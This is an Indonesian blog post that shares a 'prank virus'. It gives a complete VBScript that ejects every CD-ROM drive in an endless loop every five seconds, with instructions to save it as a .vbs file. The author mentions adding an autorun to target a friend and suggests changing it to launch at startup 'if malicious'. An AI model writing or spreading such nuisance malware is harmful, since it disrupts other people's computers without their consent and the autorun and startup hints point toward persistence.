Bikin Virus Iseng

Iseng-iseng gada kerjaan browsing dapet source code unik dan iseng, aku cobain buat ngisengin temen dengan sedikit tambahan di autorun, mau langsung di inject k sistem nya kasian takut yang kenanya g tau cara matiinnya....hehehe......
nih code nya :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

tinggal copy paste di notepad kemudian save as dengan akhiran .vbs ( contoh: iseng.vbs)
skenario virus ini cuma melooping perintah eject cdrom aja ko....jadi pc yang kena cuma buka tutup cdrom terus menerus, tapi lama-kelamaan lumayan menjengkelkan...heuheu...
buat ngatasinya cukup restart aja ...kecuali kalo niat jahat, tinggal di modifikasi sedikit supaya langsung masuk startup.....
( tapi blon aku coba d laptop, g tau jalan ato g)....